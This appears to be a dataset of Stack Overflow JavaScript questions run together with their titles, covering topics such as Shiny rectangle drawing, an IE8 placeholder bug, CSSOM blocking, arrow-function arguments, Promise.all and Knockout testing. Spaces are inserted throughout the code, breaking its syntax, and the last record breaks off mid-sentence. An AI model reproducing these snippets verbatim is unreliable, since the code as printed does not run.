pure js | setInterval vs. setTimeout "JS : I 'd like to elaborate on the accepted answer to this question.I 'm looking at improving the minimal shiny app below ( extracted from the accepted answer ) with the following features:1 ) draw the rectangle + a text label . The label comes from R ( input $ foo ) , e.g. , from a dropdown . To avoid the edge cases where the labels fall outside the images , labels should be placed inside their rectangles.2 ) use a different color for the rectangles and their labels depending on the label3 ) ability for the user to delete a rectangle by double-clicking inside it . In the case of multiple matches ( overlap , nested ) , the rectangle with the smallest area should be deleted.Brownie points for 1 ) : the dropdown could appear next to the cursor like is done here ( code here ) . If possible , the dropdown list should be passed from server.R and not be fixed/hardcoded . The reason is that depending on some user input , a different dropdown could be shown . E.g. , we might have one dropdown for fruits c ( 'banana ' , 'pineapple ' , 'grapefruit ' ) , one dropdown for animals c ( 'raccoon ' , 'dog ' , 'cat ' ) , etc . # JS and CSS modified from : https : //stackoverflow.com/a/17409472/8099834css < - `` # canvas { width:2000px ; height:2000px ; border : 10px solid transparent ; } .rectangle { border : 5px solid # FFFF00 ; position : absolute ; } '' js < - `` function initDraw ( canvas ) { var mouse = { x : 0 , y : 0 , startX : 0 , startY : 0 } ; function setMousePosition ( e ) { var ev = e || window.event ; //Moz || IE if ( ev.pageX ) { //Moz mouse.x = ev.pageX + window.pageXOffset ; mouse.y = ev.pageY + window.pageYOffset ; } else if ( ev.clientX ) { //IE mouse.x = ev.clientX + document.body.scrollLeft ; mouse.y = ev.clientY + document.body.scrollTop ; } } ; var element = null ; canvas.onmousemove = function ( e ) { setMousePosition ( e ) ; if ( element ! == null ) { element.style.width = Math.abs ( mouse.x - mouse.startX ) + 'px ' ; element.style.height = Math.abs ( mouse.y - mouse.startY ) + 'px ' ; element.style.left = ( mouse.x - mouse.startX < 0 ) ? mouse.x + 'px ' : mouse.startX + 'px ' ; element.style.top = ( mouse.y - mouse.startY < 0 ) ? mouse.y + 'px ' : mouse.startY + 'px ' ; } } canvas.onclick = function ( e ) { if ( element ! == null ) { var coord = { left : element.style.left , top : element.style.top , width : element.style.width , height : element.style.height } ; Shiny.onInputChange ( 'rectCoord ' , coord ) ; element = null ; canvas.style.cursor = \ '' default\ '' ; } else { mouse.startX = mouse.x ; mouse.startY = mouse.y ; element = document.createElement ( 'div ' ) ; element.className = 'rectangle ' element.style.left = mouse.x + 'px ' ; element.style.top = mouse.y + 'px ' ; canvas.appendChild ( element ) ; canvas.style.cursor = \ '' crosshair\ '' ; } } } ; $ ( document ) .on ( 'shiny : sessioninitialized ' , function ( event ) { initDraw ( document.getElementById ( 'canvas ' ) ) ; } ) ; '' library ( shiny ) ui < - fluidPage ( tags $ head ( tags $ style ( css ) , tags $ script ( HTML ( js ) ) ) , fluidRow ( column ( width = 6 , # inline is necessary # ... otherwise we can draw rectangles over entire fluidRow uiOutput ( `` canvas '' , inline = TRUE ) ) , column ( width = 6 , verbatimTextOutput ( `` rectCoordOutput '' ) ) ) ) server < - function ( input , output , session ) { output $ canvas < - renderUI ( { tags $ img ( src = `` https : //www.r-project.org/logo/Rlogo.png '' ) } ) output $ rectCoordOutput < - renderPrint ( { input $ rectCoord } ) } shinyApp ( ui , server )",Drawing rectangles on top of image R shiny "JS : I am using the below placeholder code for IE8 , however about 70 % of the time when you move your mouse around in the dropdown login field it loses focus ( the whole dropdown login field vanishes ) ; through debugging - when I remove this code the problem goes away - I have found the cause of the problem is this code : Edit : I have found it is n't caused by any particular placeholder code , but it IS caused by some part of the process as I have tried 3 separate placeholder plugins and it happens on all 3 of them ; take them away and no problems.You can view an example here : http : //condorstudios.com/stuff/temp/so/header-sample.phpEdit : Not sure if it will help as jsfiddle does n't work on IE8 and I ca n't test if the fiddle behaves badly in IE8 too , but here is the fiddle : http : //jsfiddle.net/m8arw/7/Any way to fix this ? $ ( document ) .ready ( function ( ) { if ( ! ( `` placeholder '' in document.createElement ( `` input '' ) ) ) { $ ( `` input [ placeholder ] , textarea [ placeholder ] '' ) .each ( function ( ) { var val = $ ( this ) .attr ( `` placeholder '' ) ; if ( this.value == `` '' ) { this.value = val ; } $ ( this ) .focus ( function ( ) { if ( this.value == val ) { this.value = `` '' ; } } ) .blur ( function ( ) { if ( $ .trim ( this.value ) == `` '' ) { this.value = val ; } } ) } ) ; // Clear default placeholder values on form submit $ ( 'form ' ) .submit ( function ( ) { $ ( this ) .find ( `` input [ placeholder ] , textarea [ placeholder ] '' ) .each ( function ( ) { if ( this.value == $ ( this ) .attr ( `` placeholder '' ) ) { this.value = `` '' ; } } ) ; } ) ; } } ) ;",Placeholder code used for IE8 causing dropdown login field to lose focus JS : I 'm using the default Facebook embed code : .. but I 'd like to show an alert if the user clicks 'recommend ' or 'send ' buttons . Please see this fiddle : http : //jsfiddle.net/4wB9x/1/Thanks ! < div id= '' fb-root '' > < /div > < script src= '' http : //connect.facebook.net/en_US/all.js # appId=176702405718664 & amp ; xfbml=1 '' > < /script > < fb : like href= '' http : //domain.com '' send= '' true '' width= '' 700 '' show_faces= '' false '' action= '' recommend '' font= '' '' > < /fb : like >,Show alert on a button click "JS : The answer to this question has been clear to me ever since I read/learned about CSSOM , until today . I ca n't seem to be able to find the initial article , but it explained quite clear , with examples , that JavaScript execution is deferred until CSSOM is built from all < style > and < link > tags in < head > ( except those not applying , based on @ media queries ) .Or at least that 's what I made of it at the time and I had no reason to doubt it until today.This seems to be backed up by the bold-ed statement in this sub-chapter of Web Fundamentals / Performance , from Google : ... the browser delays script execution and DOM construction until it has finished downloading and constructing the CSSOM.However , this statement was seriously challenged by a friendly chat on the subject with another SO user under this answer I provided , in which he proposed the following to prove the opposite : Ok , so let 's make sure . Let 's replace the < style > with ... and make test.php hang for a few seconds : If I am right ( and js execution is deferred until CSSOM is built ) , the page hangs blank for 10 seconds , before building CSSOM and before executing the < script > that would comment the < link / > out and would allow the page to render.If he is right , the js is ran as it 's met and the < link / > request never leaves , because it 's a comment by now.Surprise : the page renders right away . He 's right ! but the < link / > request leaves and the browser tab shows a loading icon for 10 seconds . I 'm right , too ! Or am I ? I 'm confused , that 's what I am ... Could anyone shed some light into this ? What is going on ? Does it have to do with document.write ? Does it have to do with loading a .php file instead of a .css ? If it makes any difference , I tested in Chrome , on Ubuntu.I kindly ask linking a credible ( re ) source or providing an eloquent example/test to back-up any answer you might consider providing . < head > < script > document.write ( `` < ! -- '' ) ; < /script > < style > body { background-color : red ; } < /style > -- > < /head > < link rel= '' stylesheet '' type= '' text/css '' href= '' test.php '' / > < ? phpsleep ( 10 ) ; header ( 'Content-Type : text/css ' ) ; ? > /* adding styles here would be futile */",Is JavaScript execution deferred until CSSOM is built or not ? "JS : I wanted to understand the behavior of a normal function vs arrow functions.Arrow Function : Normal FunctionBoth the results are expected to be same , but looks like arrowFunc defined above considers the first arg list , where as the normalFunc considers the second set of arg list.Also tried babel-compilation to understand the difference , but looks like the behavior is different as shown below : Babel Output : function arrowFunc ( ) { return ( ) = > arguments } console.log ( arrowFunc ( 1 , 2 , 3 ) ( 1 ) ) function normalFunc ( ) { return function ( ) { return arguments } } console.log ( normalFunc ( 1 , 2 , 3 ) ( 1 ) ) `` use strict '' ; function arrowFunc ( ) { var _arguments = arguments ; return function ( ) { return _arguments ; } ; } console.log ( arrowFunc ( 1 , 2 , 3 ) ( 1 ) ) ; function normalFunc ( ) { return function ( ) { return arguments ; } ; } console.log ( normalFunc ( 1 , 2 , 3 ) ( 1 ) ) ;",Behaviour Difference For Arrow-Functions vs Functions In Javascript "JS : I would like to get a callback each time Google Analytics sends data to the server . I would like also to send the same data to my server . Is it possible and if so , how ? https : //jsfiddle.net/bk1j8u7o/2/ < script async src= '' https : //www.googletagmanager.com/gtag/js ? id=UA-143361924-1 '' > < /script > < script > window.dataLayer = window.dataLayer || [ ] ; function gtag ( ) { dataLayer.push ( arguments ) ; } gtag ( 'js ' , new Date ( ) ) ; gtag ( 'config ' , 'UA-143361924-1 ' ) ; < /script >",Google analytics intercept all requests "JS : I 'm trying to replace `` [ `` and `` ] '' characters in the string using javascript.when I 'm doingthen it works fine - but the problem is I have a lot of this characters in my string and I need to replace all of the occurrences.But when I 'm doing : ornothing is happens . I 've also tried with HTML numbers like but it does n't work neither . Any ideas how to make it ? newString = oldString.replace ( `` [ ] '' , `` '' ) ; newString = oldString.replace ( / [ ] /g , `` '' ) ; newString = oldString.replace ( / ( [ ] ) /g , `` '' ) ; newString = oldString.replace ( / & # 91 ; & # 93 ; /g , `` '' ) ;",Ca n't replace `` [ `` and `` ] '' characters in a string in Javascript "JS : Is there a way to define a function to hook before each component in my app is mounted ? The idea is that if a component is blacklisted it does n't mount at all.The solution must leave the components unmodified for backward compatibility and should run in production ( so rewire and other testing tools are probably off the table but open to suggestions : ) ) Example //something like this ... ReactDOM.beforeEachComponentMount ( ( component , action ) = > { if ( isBlacklisted ( component ) ) { action.cancelMountComponent ( ) ; } }",Blacklist React components JS : I 'll see imports in React that look like : What is the @ referring to and what kind of import is this ? Thanks ! import { object } from ' @ library/component ',What does the ' @ ' mean in front of an import in React ? "JS : I 'm working on a web page that uses Knockout . I set up Protractor after seeing this post about using Protractor on non-Angular pages , but it does n't seem like Protractor can 'see ' any elements that are part of a KO component . The second assertion results in this error , even though the element is definitely in the HTML.If I ca n't use Protractor , then suggestions for other e2e testing frameworks are welcome . describe ( ' a simple test ' , function ( ) { it ( 'works ' , function ( ) { browser.ignoreSynchronization = true ; browser.get ( 'profile ' ) ; expect ( browser.getTitle ( ) ) .toEqual ( 'Title ' ) ; // this passes ( outside KO ) expect ( element ( by.id ( 'ko-component ' ) ) .getText ( ) ) .toEqual ( 'Hello World ! ' ) ; // this fails ( inside KO ) } ) ; } ) ; Message : NoSuchElementError : No element found using locator : By.id ( `` ko-component '' )",Can a Knockout app be tested with Protractor ? "JS : SoyToJsSrcCompiler generates a js file which looks like this : I am using Closure Compiler with -- warning_level=VERBOSE and -- compilation_level ADVANCED_OPTIMIZATIONS and I am getting this warning : How can I clear this warning ? java -jar SoyToJsSrcCompiler.jar -- shouldGenerateJsdoc -- outputPathFormat simple.js -- srcs simple.soy if ( typeof templates == 'undefined ' ) { var templates = { } ; } if ( typeof templates.simple == 'undefined ' ) { templates.simple = { } ; } /** * @ param { Object. < string , * > = } opt_data * @ param { ( null|undefined ) = } opt_ignored * @ return { string } * @ notypecheck */ templates.simple.tinyButton = function ( opt_data , opt_ignored ) { ... .. } ; simple.js:1 : WARNING - Variable referenced before declaration : templatesif ( typeof templates == 'undefined ' ) { var templates = { } ; }",Pre-compiled Closure Templates - `` Variable referenced before declaration '' Warning in Closure Compiler "JS : I am working on a Kattis problem , where I am supposed to take the input in prefix notation , simplify it and return it in prefix notation as well.These are the examples of inputs and outputs : I have written this piece of code , and if I run it with this kind of input data , I get exactly the same output as stated above . Yet , I get wrong answer from Kattis.What is it that I am doing wrong here ? It is frustrating since you get no debugging hints . Sample Input 1 Sample Output 1+ 3 4 Case 1 : 7- x x Case 2 : - x x* - 6 + x -6 - - 9 6 * 0 c Case 3 : * - 6 + x -6 - 3 * 0 c const readline = require ( 'readline ' ) ; const rl = readline.createInterface ( { input : process.stdin , output : process.stdout } ) ; const operators = [ '+ ' , '- ' , '* ' , '/ ' ] ; const operatorsFunctions = { '+ ' : ( a , b ) = > a + b , '- ' : ( a , b ) = > a - b , '* ' : ( a , b ) = > a * b , '/ ' : ( a , b ) = > a / b , } ; let lineNumber = 0 ; rl.on ( 'line ' , ( line ) = > { const mathExpression = line.split ( ' ' ) ; lineNumber += 1 ; let result = [ ] ; let stack = [ ] ; for ( let i = mathExpression.length -1 ; i > = 0 ; i -- ) { if ( ! isNaN ( mathExpression [ i ] ) ) { stack.unshift ( mathExpression [ i ] ) ; } else if ( operators.includes ( mathExpression [ i ] ) ) { if ( ! stack.length ) { result.unshift ( mathExpression [ i ] ) ; } if ( stack.length === 1 ) { result.unshift ( stack [ 0 ] ) ; result.unshift ( mathExpression [ i ] ) ; stack = [ ] ; } if ( stack.length > 1 ) { const sum = operatorsFunctions [ mathExpression [ i ] ] ( Number ( stack [ 0 ] ) , Number ( stack [ 1 ] ) ) stack.splice ( 0 , 2 , sum ) ; if ( i === 0 ) { result.unshift ( ... stack ) ; } } } else { if ( stack.length ) { result.unshift ( ... stack ) ; stack = [ ] ; } result.unshift ( mathExpression [ i ] ) ; } } const text = ` Case $ { lineNumber } : $ { result.join ( ' ' ) } ` ; console.log ( text ) ; } ) ;",Simplification of prefix notation "JS : I 'm trying to return promises from a promise and run Promise.all like this : How can I use this kind of Promise.all . I know .then ( promises = > Promise.all ( promises ) ) works . But , just trying to know why that failed.This happens with Express res.json too . The error message is different , but I think the reason is same.For example : does not work but does . updateVideos ( ) .then ( videos = > { return videos.map ( video = > updateUrl ( { id : video , url : `` http : // ... '' } ) ) } ) .then ( Promise.all ) // throw Promise.all called on non-object promise ( ) .then ( res.json ) // Can not read property 'app ' of undefined promise ( ) .then ( results = > res.json ( results ) )",Calling Promise.all throws Promise.all called on non-object ? "JS : Suppose I have the following code in my background page of a Chrome extension.In my content script , I access opts with message passing.Is there any guarantee that opts will be defined prior to a content script running ? For example , when starting up the browser , the background page will run , and presumably the callback to chrome.storage.local.get will be added to the background page 's message queue . Will Chrome finish processing that queue before injecting content scripts ? I could call chrome.storage.local.get from the content script , but my question is more generic , as I have additional async processing in my background page . At the moment , my content script checks with the background page to make sure everything is ready ( using an interval to keep checking ) , but I am not sure whether such checks are necessary . var opts ; chrome.storage.local.get ( options , function ( result ) { opts = result [ options ] ; } ) ; chrome.runtime.onMessage.addListener ( function ( request , sender , response ) { if ( request.message === 'getOpts ' ) response ( opts ) ; } ) ; chrome.runtime.sendMessage ( { 'message ' : 'getOpts ' } , function ( response ) { console.log ( opts ) ; } ) ;",Chrome Extension Background Page and Content Script Synchronization "JS : I understand the following property of the javascript language : However , when trying to apply this logic to an object it seems to act differently : Can someone tell me what 's happening and why there is a difference ? var bar = 1 ; var foo = bar ; bar = `` something entirely different '' ; // foo is still 1 var bar = { } ; bar.prop = 1 ; var foo = bar ; bar.prop = `` something entirely different '' ; // foo.prop now changes to `` something entirely different '' // but ... bar = `` no longer an object '' ; // now foo remains an object with the prop property",Javascript confusion over variables defined by reference vs value "JS : In many books / blog posts the self invoking anonymous function pattern is written like this : However running a JSLint on this gives this error : Move the invocation into the parens that contain the function.e.g . changing it to this works : QuestionsWhy is the first implementation not good enough for JSLint ? What are the differences ? What is the preferred form ? is JSLint always right ? Why does it work ? after all function ( ) { } ( ) throws a SyntaxError : Unexpected token ( But wrapping it with parens makes it all of a sudden work ? e.g . ( function ( ) { } ( ) ) - works fine ( After all this is JavaScript , not Lisp , so what is the effect of the wrapping parens on the ohterwise syntax error ? ) EDIT : this is somewhat of a followup to this ( I would not say exact duplicate though ) : JSLint error : `` Move the invocation into the parens that contain the function '' , so my main question is # 3 , why does it work at all ? ( function ( ) { var foo = 'bar ' ; } ) ( ) ; ( function ( ) { var foo = 'bar ' ; } ( ) ) ;",What is the difference between those self-executing anonymous function ( aka IIFE ) implementation "JS : I am trying to set a state value for each textinput contained in each row of my listview.The issue is that , React Native 's ListView Component has a bunch of optimization techniques such as removing rows that are out of screen bounds . This is causing an issue because the TextInputs are locking up their value property , editing them will no longer reflect changes and the state value locks up or something . I 've attached a video to show this behavior.https : //www.youtube.com/watch ? v=fq7ITtzRvg4 & feature=youtu.be _renderRow ( value ) { let tempWidth = window.width / 2.13 if ( value.data.length == 1 ) { tempWidth = window.width*0.970 } var Images = value.data.map ( ( b , i ) = > { let source = { uri : BUCKETIMAGES+'/'+b.image_filename } return ( < TouchableOpacity key= { i } style= { styles.cardImage } > { b.profile_picture & & < View style= { { zIndex : 4 , width:31 , height:31 , borderWidth:1 , borderColor : '' # ccc '' , borderRadius:20 , position : `` absolute '' , right : -6 , top : -6 } } > < CacheableImage style= { { width:30 , height:30 , borderWidth:3 , borderColor : '' white '' , borderRadius:15 , position : `` absolute '' , right : 0 , top : 0 } } source= { { uri : BUCKETIMAGES+'/'+b.profile_picture } } / > < /View > } < CacheableImage source= { source } style= { { height : 150 , width : tempWidth } } / > < /TouchableOpacity > ) } ) ; return ( < View key= { value.id } style= { styles.statusContainer } > < View style= { [ styles.statusHeader , { height : 50 , alignItems : `` center '' } ] } > < View style= { { flex:0.85 } } > < View style= { { flexDirection : `` row '' } } > < Text style= { { color : `` # 666666 '' , fontWeight : `` bold '' , fontSize : 18 , paddingLeft : 20 } } > Team { value.type } < /Text > < /View > < Text style= { { color : `` grey '' , fontSize : 15 , paddingLeft : 20 , paddingRight : 20 } } > { value.date } < /Text > < /View > < View style= { { flex:0.15 , height : 20 , justifyContent : `` center '' , width : 30 } } > < Icon name= '' ios-more '' type= '' ionicon '' size= { 40 } color= '' # a9a9a9 '' / > < /View > < /View > < View style= { { flexDirection : `` row '' , flexWrap : `` wrap '' } } > { Images } < /View > < View style= { { zIndex : 10 } } > < /View > < View style= { [ styles.commentHeader , { height : 30 , flex:0.8 , zIndex : 5 } ] } > < View style= { { height : 30 , width : 40 } } > < Icon name= '' ios-chatboxes-outline '' type= '' ionicon '' size= { 30 } color= '' grey '' / > < /View > < View style= { { flex:0.9 } } > < TextInput style= { styles.commentInput } placeholder= '' Say something ... '' placeholderTextColor= '' gray '' underlineColorAndroid= '' transparent '' multiline= { true } blurOnSubmit= { true } value= { this.state [ 'comment'+value.id ] } onChangeText= { ( commentInput ) = > { this.setState ( { [ `` comment '' +value.id ] : commentInput } ) } } / > < /View > < View style= { { justifyContent : `` center '' , marginRight : 20 } } > < TouchableOpacity onPress= { ( ) = > { this.setState ( { commentID : value.id } , this.addComment ) } } > < Icon name= '' md-send '' type= '' ionicon '' size= { 25 } color= '' # CCC '' / > < /TouchableOpacity > < /View > < /View > < /View > ) } render ( ) { return ( < View style= { styles.container } > { Platform.OS === `` ios '' & & < View style= { styles.statusBar } > < /View > } { this.state.loading & & < ActivityIndicator animating= { true } color= '' # E91E63 '' size= '' large '' style= { { marginTop : 80 } } / > } { ! this.state.loading & & < ListView dataSource = { this.state.dataSource } renderRow = { this._renderRow.bind ( this ) } initialListSize= { 10 } enableEmptySections= { true } / > } < /View > ) }",React Native ListView TextInput locks up from performance optimization rendering "JS : I am trying to convert a Record to a vanilla JS objectwhen I access the object from JSit contains other properties that I am not interested in ( value0 ) how do you marshal the Records from the Purescript world to JS ? module MyModule wheredata Author = Author { name : : String , interests : : Array String } phil : : Authorphil = Author { name : `` Phil '' , interests : [ `` Functional Programming '' , `` JavaScript '' ] } MyModule.phil { `` value0 '' : { `` name '' : '' Phil '' , '' interests '' : [ `` Functional Programming '' , '' JavaScript '' ] } }",converting from Purescript Record to a JS object "JS : Trying to understand the order of execution of ES6 promises , I noticed the order of execution of chained handlers is affected by whether the previous handler returned a value or a promise.Example Output when run directly in Chrome ( v 61 ) console : B AHowever , when clicking the Run code snippet button , I will get the order A B instead.Is the execution order defined in ES6 for the above example , or is it up to the implementation ? If it is defined , what should be the correct output ? let a = Promise.resolve ( ) ; a.then ( v = > Promise.resolve ( `` A '' ) ) .then ( v = > console.log ( v ) ) ; a.then ( v = > `` B '' ) .then ( v = > console.log ( v ) ) ;",ES6 promise execution order for returned values "JS : I am trying to figure out why this code of is not working in Firefox . It 's supposed to create horizontal paths , but I can not see them in Firefox . Chrome and IE showing them properly . What could be the issue ? https : //jsfiddle.net/7a6qm371/ < div > < svg width= '' 100 % '' height= '' 500 '' id= '' svgBottomWall '' > < g style= '' stroke : aqua ; fill : none ; '' id= '' svgBottomWallGridGroup '' > < /g > < /svg > $ ( document ) .ready ( function ( ) { var svgBottomWall = document.getElementById ( `` svgBottomWall '' ) ; var rect = svgBottomWall.getBoundingClientRect ( ) ; var svgW = rect.width ; function createHorizontalLine ( w , d ) { var nline = document.createElementNS ( `` http : //www.w3.org/2000/svg '' , `` path '' ) ; nline.setAttribute ( `` d '' , `` M 0 `` + d + `` , L `` + w + `` `` + d ) ; nline.setAttribute ( `` stroke-width '' , 1 ) ; nline.setAttribute ( `` stroke '' , `` # ffffff '' ) ; document.getElementById ( `` svgBottomWallGridGroup '' ) .appendChild ( nline ) ; } for ( var i = 0 ; i < = svgW ; i = i + 100 ) { createHorizontalLine ( svgW , i ) ; } } ) ;","Dynamically created SVG not working in Firefox , but works in Chrome" "JS : Above is the code I have right now . I want it so that when you click one of the buttons made within the loop ( Button1 , Button2 , Button3 ) , the whole div is hidden.However , I found that I can only hide the whole div when the button is on the outside like follows ... Is there a way to hide the whole div using one of the inner buttons in the loop div ? Thanks in advance ! < div id= '' whole-div '' ng-hide= '' hideme '' > < div id= '' loop-div '' ng-repeat= '' i in [ 1 , 2 , 3 ] '' > < button ng-click= '' hideme=true '' > Button { { i } } < /button > < /div > < /div > < div id= '' whole-div '' ng-hide= '' hideme '' > < div id= '' loop-div '' ng-repeat= '' i in [ 1 , 2 , 3 ] '' > < button > Button { { i } } < /button > < /div > < button ng-click= '' hideme=true '' > Final Button < /button > < /div >",Using angular to hide a whole div from within an inner loop ? "JS : I want to display a certain Infobox when the user clicks anywhere on the map and a different Infobox when the user clicks inside an OverlayView . I 'm adding a listener to the click event for the map object , but this event only provides a latLong param which seems insufficient to tell if an OverlayView was hitted.I know I can add a separate listener for the OverlayView object , but when I do this , both events are fired ( the one coming from the OverlayView object and the one from the map object ) . This is how I construct my OverlayView object , Any ideas ? google.maps.event.addDomListener ( map , 'click ' , function ( param ) { // if ( an OverlayView was clicked ) // showInfoboxForOverlayView ( ) ; // else // showStandarInfobox ( ) ; } ) ; var overlay = new google.maps.OverlayView ( ) ; overlay.onAdd = function ( ) { var layer = d3.select ( this.getPanes ( ) .overlayMouseTarget ) .append ( `` div '' ) .attr ( `` class '' , `` SvgOverlay '' ) ; var svg = layer.append ( `` svg '' ) ; var adminDivisions = svg.append ( `` g '' ) .attr ( `` class '' , `` AdminDivisions '' ) ; overlay.draw = function ( ) { var markerOverlay = this ; var overlayProjection = markerOverlay.getProjection ( ) ; // Turn the overlay projection into a d3 projection var googleMapProjection = function ( coordinates ) { var googleCoordinates = new google.maps.LatLng ( coordinates [ 1 ] + 0.0005 , coordinates [ 0 ] - 0.0006 ) ; var pixelCoordinates = overlayProjection.fromLatLngToDivPixel ( googleCoordinates ) ; return [ pixelCoordinates.x + 4000 , pixelCoordinates.y + 4000 ] ; } path = d3.geo.path ( ) .projection ( googleMapProjection ) ; adminDivisions.selectAll ( `` path '' ) .data ( geoJson.features ) .attr ( `` d '' , path ) // update existing paths .enter ( ) .append ( `` svg : path '' ) .attr ( `` d '' , path ) ; ; } ; } ;",Detect if click is inside OverlayView "JS : I have a ( for clarity 's sake ) a chat.Users can login , write messages , and the others will see [ name ] : [ message ] .I do n't want to send the user 's name and ID every time I write socket.emit ( 'say ' , message ) ; because that 's redundant , so what I 'm doing on the server is like so : So , how would I get the userID at that point ? Notes : For each user that logs in and connects with their Facebook account , the client will tell the server to save the person 's name and ID.I thought of doing it with a cookie that saves the user 's name and ID , and the server would know which user it is by reading the cookie , but that 's a bit of an ugly solution : it 's redundant to send that information every time.I could also hijack the 'on ' function ( somehow ) and add functionality that will know which user it is , because all the 'on ' listeners must reside inside the 'connection ' listener anyway . var io = require ( `` socket.io '' ) .listen ( server ) , sockets = { } ; io.sockets.on ( 'connection ' , function ( socket ) { socket.on ( 'savePersonToSocket ' , function ( user ) { socket.user = user ; sockets [ user.id ] = socket ; } socket.on ( 'doSomething ' , doSomething ) ; } ) ; // must be outside of 'connection ' since I have TONS of these in a much more //complex structure and I do n't want to create them all per user connection.function doSomething ( ) { ... sockets [ userID ] .emit ( 'foo ' ) ; // how to get the userID at this point ? ... }",Keep Reference to Connected Sockets Per User "JS : Here 's my code : It prints as the following : Why does console.log ( obj.key ) print as undefined ? I want my code to print out the following , using obj.key to print out the value for each key : How do I do so ? obj = { `` TIME '' :123 , '' DATE '' :456 } console.log ( obj.TIME ) ; console.log ( `` -- -- -- -- - '' ) for ( var key in obj ) { console.log ( key ) ; console.log ( obj.key ) ; } 123 -- -- -- -- -TIMEundefinedDATEundefined 123 -- -- -- -- -TIME123DATE456",Iterating through a javascript object to get key-value pairs "JS : Built a site where a large part of it relies on flipping DIVs over with a 3D effect , upgraded to FF14 yesterday morning and the effect was broken . It works fine in FF13 , Chrome , IE9 , etc.I ca n't post the site I 'm working on , but this site is broken in exactly the same way - it jumps between the front and back of the card rather than rotating http : //jigoshop.com/product-category/extensions/Anyone have any ideas ? EDIT : OK , probably should 've included more infoI 'm using this plug-in to handle the flippinghttp : //www.zachstronaut.com/projects/rotate3di/I was wrong when I said it was the same technique as that other website as that appears to be plain CSS whereas this plug-in is for jQuery . Here 's a link to a demo I threw togetherhttp : //olliesilviotti.co.uk/the-laboratory/cards/demo/EDIT : This is how the query is used : The markup looks like this : $ ( ' # boxes .box div.back ' ) .hide ( ) .css ( 'left ' , 0 ) ; function mySideChange ( front ) { if ( front ) { $ ( this ) .parent ( ) .find ( 'div.front ' ) .show ( ) ; $ ( this ) .parent ( ) .find ( 'div.back ' ) .hide ( ) ; } else { $ ( this ) .parent ( ) .find ( 'div.front ' ) .hide ( ) ; $ ( this ) .parent ( ) .find ( 'div.back ' ) .show ( ) ; } } $ ( ' # boxes .box ' ) .live ( 'mouseover ' , function ( ) { if ( ! $ ( this ) .data ( 'init ' ) ) { $ ( this ) .data ( 'init ' , true ) ; $ ( this ) .hoverIntent ( { over : function ( ) { $ ( this ) .find ( 'div ' ) .stop ( ) .rotate3Di ( 'flip ' , 250 , { direction : 'clockwise ' , sideChange : mySideChange } ) ; } , timeout : 1 , out : function ( ) { $ ( this ) .find ( 'div ' ) .stop ( ) .rotate3Di ( 'unflip ' , 500 , { sideChange : mySideChange } ) ; } } ) ; $ ( this ) .trigger ( 'mouseover ' ) ; } } ) ; < div id= '' boxes '' > < div class= '' box floated-box '' > < div class= '' front '' > Random Number < /div > < div class= '' back '' > I am the back of the card < /div > < /div > < /div >",Firefox 14 breaks 3D 'card flip ' effect - anyone know why ? "JS : I 'm new to Angular js and I 'm trying to use Angular js to embed html snippets within a html page with the help of bootstrap template.This is my index.htmlThis is my manimenu.htmlBoth index.html and mainmenu.html are in same folder . But mainmenu.html is not showing inside the index.html . If anyone knows please help me to solve this < body > < div ng-app= '' '' > < div ng-include= '' mainmenu.html '' > < /div > < ! -- Page Content -- > < div class= '' container '' > < div class= '' row '' > < div class= '' col-lg-12 text-center '' > < h1 > Starter Template < /h1 > < p class= '' lead '' > Complete with pre-defined file paths that you wo n't have to change ! < /p > < /div > < /div > < ! -- /.row -- > < /div > < ! -- /.container -- > < /div > < ! -- jQuery Version 1.11.1 -- > < script src= '' js/jquery.js '' > < /script > < ! -- Bootstrap Core JavaScript -- > < script src= '' js/bootstrap.min.js '' > < /script > < script src= '' http : //ajax.googleapis.com/ajax/libs/angularjs/1.4.8/angular.min.js '' > < /script > < /body > < ! -- Navigation -- > < nav class= '' navbar navbar-inverse navbar-fixed-top '' role= '' navigation '' > < div class= '' container '' > < ! -- Brand and toggle get grouped for better mobile display -- > < div class= '' navbar-header '' > < button type= '' button '' class= '' navbar-toggle '' data-toggle= '' collapse '' data-target= '' # bs-example-navbar-collapse-1 '' > < span class= '' sr-only '' > Toggle navigation < /span > < span class= '' icon-bar '' > < /span > < span class= '' icon-bar '' > < /span > < span class= '' icon-bar '' > < /span > < /button > < a class= '' navbar-brand '' href= '' # '' > Start Bootstrap < /a > < /div > < ! -- Collect the nav links , forms , and other content for toggling -- > < div class= '' collapse navbar-collapse '' id= '' bs-example-navbar-collapse-1 '' > < ul class= '' nav navbar-nav '' > < li > < a href= '' # '' > About < /a > < /li > < li > < a href= '' # '' > Services < /a > < /li > < li > < a href= '' # '' > Contact < /a > < /li > < /ul > < /div > < ! -- /.navbar-collapse -- > < /div > < ! -- /.container -- > < /nav >",Embedding Html page using Angular js JS : Ultimately I need to create a TSV file.I 've been using AngularJS v1.2.20 with the ng-csv module . So far ng-csv is great for csv but it doesnt seem to work well with creating tab separation . My directive looks likebut it ends up just putting the raw \t between each of the cellsas if I wanted to use `` \\t '' for exampleI 've tried putting \t in decimal-separator and text-delimiter and it did n't help . < a ng-csv='getCSVData ( ) ' filename='tsv_data_table.tsv ' csv-header='headerNames ' field-separator= '' \t '' > TSV < /a > Bob 's Tires\t2484775951\t1\t1\t100\t0\t1\t100\t73\t1,Using ng-csv to create a tsv file "JS : Why does for ( [ ] in object ) ; work fine but [ void 0 for ( [ ] in object ) ] or ( void 0 for ( [ ] in object ) ) throw a syntax error for invalid left-hand assignment ? For example , I would expect the following code to work , but it does n't ( the assertion is n't even done due to the syntax error ) : let ( i = 0 , iterable = { __iterator__ : function ( ) { var i = 5 ; while ( i -- ) yield i ; } } ) { for ( [ ] in iterable ) i++ ; console.assertEquals ( [ void 0 for ( [ ] in iterable ) ] .length , i ) ; }",Destructuring assignment in generator expressions and array comprehensions "JS : I was just messing around in jsfiddle trying to resize a box base on the mouse position . Making the box larger as the mouse moves away is simple , just get the distance . However , I want to do the opposite ; I want the box to increase in size as the mouse gets closer and decrease as the mouse moves away . I have n't been able to think up any formulas for this . I feel there could be something really simple that I am missing . < div id= '' box '' > < /div > # box { height : 100px ; width : 100px ; background : black ; } Here is a link to the fiddle : http : //jsfiddle.net/gSDPq/Any help is appreciated , Thanks var box = document.getElementById ( 'box ' ) ; // center point of the boxvar boxX = 50 ; var boxY = 50 ; document.addEventListener ( 'mousemove ' , function ( e ) { var x = e.pageX , y = e.pageY ; var dx = x - boxX , dy = y - boxY ; var distance = Math.sqrt ( dx *dx + dy * dy ) ; box.style.width = box.style.height = distance + 'px ' ; } , false ) ;",How to increase element size as mouse gets closer ? "JS : given the following string : I need to increment the latter number.I 'm not an expert with Regexp replacements , I tried this but it also selects the bracket.Is it possible to do the selection , 